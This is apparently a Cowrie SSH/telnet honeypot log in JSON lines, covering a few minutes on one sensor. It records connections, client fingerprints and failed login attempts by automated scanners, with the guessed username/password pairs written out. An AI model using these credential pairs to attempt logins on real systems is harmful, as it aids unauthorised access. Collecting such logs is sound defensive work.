{"eventid":"cowrie.session.connect","src_ip":"78.120.238.14","src_port":60894,"dst_ip":"159.203.135.109","dst_port":23,"session":"b510f057be5e","protocol":"telnet","message":"New connection: 78.120.238.14:60894 (159.203.135.109:23) [session: b510f057be5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:34:04.482628Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":43254,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cfc9408110b","protocol":"ssh","message":"New connection: 171.25.158.82:43254 (159.203.135.109:22) [session: 6cfc9408110b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:34:46.924671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:34:47.019455Z","src_ip":"171.25.158.82","session":"6cfc9408110b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:34:47.133357Z","src_ip":"171.25.158.82","session":"6cfc9408110b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arnaldo","password":"arnaldo","message":"login attempt [arnaldo/arnaldo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:34:47.710932Z","src_ip":"171.25.158.82","session":"6cfc9408110b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:34:48.833283Z","src_ip":"171.25.158.82","session":"6cfc9408110b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":60152,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e0381003b82","protocol":"ssh","message":"New connection: 103.13.206.227:60152 (159.203.135.109:22) [session: 5e0381003b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:18.185168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:18.197403Z","src_ip":"103.13.206.227","session":"5e0381003b82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:18.433522Z","src_ip":"103.13.206.227","session":"5e0381003b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rust","password":"rust","message":"login attempt [rust/rust] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:19.410449Z","src_ip":"103.13.206.227","session":"5e0381003b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:20.651077Z","src_ip":"103.13.206.227","session":"5e0381003b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":56230,"dst_ip":"159.203.135.109","dst_port":22,"session":"efec809a080c","protocol":"ssh","message":"New connection: 103.27.238.120:56230 (159.203.135.109:22) [session: efec809a080c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:22.915502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:22.925464Z","src_ip":"103.27.238.120","session":"efec809a080c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":54666,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa375078bc12","protocol":"ssh","message":"New connection: 103.27.238.116:54666 (159.203.135.109:22) [session: fa375078bc12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:22.942766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:22.948514Z","src_ip":"103.27.238.116","session":"fa375078bc12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:23.202306Z","src_ip":"103.27.238.120","session":"efec809a080c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:23.220513Z","src_ip":"103.27.238.116","session":"fa375078bc12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty2000","message":"login attempt [root/qwerty2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:24.028703Z","src_ip":"103.27.238.120","session":"efec809a080c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kartoshka","message":"login attempt [root/kartoshka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:24.038359Z","src_ip":"103.27.238.116","session":"fa375078bc12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:25.307728Z","src_ip":"103.27.238.120","session":"efec809a080c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:35:25.314238Z","src_ip":"103.27.238.116","session":"fa375078bc12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01094269752502,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:36:04.493438Z","src_ip":"78.120.238.14","session":"b510f057be5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":35470,"dst_ip":"159.203.135.109","dst_port":22,"session":"6120a2ebadfc","protocol":"ssh","message":"New connection: 171.25.158.82:35470 (159.203.135.109:22) [session: 6120a2ebadfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:36:20.408210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:36:20.511120Z","src_ip":"171.25.158.82","session":"6120a2ebadfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:36:20.612722Z","src_ip":"171.25.158.82","session":"6120a2ebadfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234.com","message":"login attempt [root/1234.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:36:21.235794Z","src_ip":"171.25.158.82","session":"6120a2ebadfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:36:22.398623Z","src_ip":"171.25.158.82","session":"6120a2ebadfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":45792,"dst_ip":"10.17.0.5","dst_port":22,"session":"270e50c4df68","protocol":"ssh","message":"New connection: 109.172.54.111:45792 (10.17.0.5:22) [session: 270e50c4df68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:36:37.482147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:36:37.487617Z","src_ip":"109.172.54.111","session":"270e50c4df68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:36:37.589155Z","src_ip":"109.172.54.111","session":"270e50c4df68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lero4ka","message":"login attempt [root/lero4ka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:36:37.897513Z","src_ip":"109.172.54.111","session":"270e50c4df68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:36:39.002410Z","src_ip":"109.172.54.111","session":"270e50c4df68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.88","src_port":37268,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cc54dd2e364","protocol":"ssh","message":"New connection: 91.92.42.88:37268 (10.17.0.5:22) [session: 5cc54dd2e364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:36:50.962461Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:36:52.381438Z","src_ip":"91.92.42.88","session":"5cc54dd2e364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":59442,"dst_ip":"159.203.135.109","dst_port":22,"session":"75f8436b4196","protocol":"ssh","message":"New connection: 103.13.206.227:59442 (159.203.135.109:22) [session: 75f8436b4196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:37:33.494522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:37:33.499086Z","src_ip":"103.13.206.227","session":"75f8436b4196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:37:33.733214Z","src_ip":"103.13.206.227","session":"75f8436b4196","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wqadmin","password":"wqadmin","message":"login attempt [wqadmin/wqadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:37:34.697970Z","src_ip":"103.13.206.227","session":"75f8436b4196","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:37:35.934271Z","src_ip":"103.13.206.227","session":"75f8436b4196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":49745,"dst_ip":"159.203.135.109","dst_port":22,"session":"315137508fa4","protocol":"ssh","message":"New connection: 2.57.121.25:49745 (159.203.135.109:22) [session: 315137508fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:38:29.481632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:38:29.487130Z","src_ip":"2.57.121.25","session":"315137508fa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:38:29.592957Z","src_ip":"2.57.121.25","session":"315137508fa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120183","message":"login attempt [user/120183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:38:30.089604Z","src_ip":"2.57.121.25","session":"315137508fa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1147","message":"login attempt [user/1147] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:38:31.199243Z","src_ip":"2.57.121.25","session":"315137508fa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111285","message":"login attempt [user/111285] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:38:32.308803Z","src_ip":"2.57.121.25","session":"315137508fa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111177","message":"login attempt [user/111177] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:38:33.418731Z","src_ip":"2.57.121.25","session":"315137508fa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":45022,"dst_ip":"159.203.135.109","dst_port":22,"session":"168a3812c3e8","protocol":"ssh","message":"New connection: 85.11.167.46:45022 (159.203.135.109:22) [session: 168a3812c3e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:38:33.778945Z"}
